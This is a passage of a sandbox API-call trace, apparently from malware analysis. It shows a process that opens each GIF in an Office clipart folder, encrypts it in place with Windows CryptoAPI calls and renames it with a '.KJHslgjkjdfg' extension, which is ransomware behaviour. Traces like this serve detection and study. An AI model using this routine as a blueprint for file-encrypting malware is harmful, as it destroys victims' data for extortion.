liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.154] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x462c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x462c, lpOverlapped=0x0) returned 1 [0198.155] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4630, dwBufLen=0x4630 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4630) returned 1 [0198.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.155] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4630, lpOverlapped=0x0) returned 1 [0198.155] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.155] SetEndOfFile (hFile=0x130) returned 1 [0198.158] GetProcessHeap () returned 0x2ef0000 [0198.158] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.158] GetProcessHeap () returned 0x2ef0000 [0198.158] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.158] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.kjhslgjkjdfg")) returned 1 [0198.159] CloseHandle (hObject=0x130) returned 1 [0198.159] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x8ada, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099193.GIF", cAlternateFileName="")) returned 1 [0198.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.160] GetProcessHeap () returned 0x2ef0000 [0198.160] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.160] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.160] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0198.162] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.162] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.163] GetProcessHeap () returned 0x2ef0000 [0198.163] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.163] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.163] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.163] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.163] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.163] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.163] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.163] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.163] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.163] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.163] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8ada, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8ada, lpOverlapped=0x0) returned 1 [0198.165] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8ae0, dwBufLen=0x8ae0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8ae0) returned 1 [0198.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.165] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8ae0, lpOverlapped=0x0) returned 1 [0198.165] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.165] SetEndOfFile (hFile=0x130) returned 1 [0198.168] GetProcessHeap () returned 0x2ef0000 [0198.168] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.168] GetProcessHeap () returned 0x2ef0000 [0198.168] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.kjhslgjkjdfg")) returned 1 [0198.169] CloseHandle (hObject=0x130) returned 1 [0198.169] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x62b1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099194.GIF", cAlternateFileName="")) returned 1 [0198.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.170] GetProcessHeap () returned 0x2ef0000 [0198.170] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.170] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.170] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xf, lpOverlapped=0x0) returned 1 [0198.172] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.172] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.172] GetProcessHeap () returned 0x2ef0000 [0198.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.172] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.172] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.172] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.172] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.172] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.172] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.172] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.172] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.172] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.172] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x62b1, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x62b1, lpOverlapped=0x0) returned 1 [0198.173] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x62c0, dwBufLen=0x62c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x62c0) returned 1 [0198.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.174] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x62c0, lpOverlapped=0x0) returned 1 [0198.174] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.174] SetEndOfFile (hFile=0x130) returned 1 [0198.176] GetProcessHeap () returned 0x2ef0000 [0198.176] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.176] GetProcessHeap () returned 0x2ef0000 [0198.177] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.kjhslgjkjdfg")) returned 1 [0198.177] CloseHandle (hObject=0x130) returned 1 [0198.178] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099195.GIF", cAlternateFileName="")) returned 1 [0198.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.178] GetProcessHeap () returned 0x2ef0000 [0198.178] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.178] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.178] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0198.181] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.181] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.181] GetProcessHeap () returned 0x2ef0000 [0198.181] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.181] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.181] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.181] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.181] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.181] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.181] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.181] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.181] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.181] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.181] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4dd3, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4dd3, lpOverlapped=0x0) returned 1 [0198.182] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4de0, dwBufLen=0x4de0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4de0) returned 1 [0198.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.183] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4de0, lpOverlapped=0x0) returned 1 [0198.183] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4eb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.183] SetEndOfFile (hFile=0x130) returned 1 [0198.185] GetProcessHeap () returned 0x2ef0000 [0198.185] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.185] GetProcessHeap () returned 0x2ef0000 [0198.185] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.185] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.kjhslgjkjdfg")) returned 1 [0198.186] CloseHandle (hObject=0x130) returned 1 [0198.186] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3801, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099196.GIF", cAlternateFileName="")) returned 1 [0198.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.187] GetProcessHeap () returned 0x2ef0000 [0198.187] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.187] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.187] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xf, lpOverlapped=0x0) returned 1 [0198.189] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.189] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.189] GetProcessHeap () returned 0x2ef0000 [0198.189] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.189] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.189] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.189] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.189] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.189] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.190] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.190] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.190] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.190] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.190] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3801, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3801, lpOverlapped=0x0) returned 1 [0198.191] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3810, dwBufLen=0x3810 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3810) returned 1 [0198.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.191] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3810, lpOverlapped=0x0) returned 1 [0198.191] 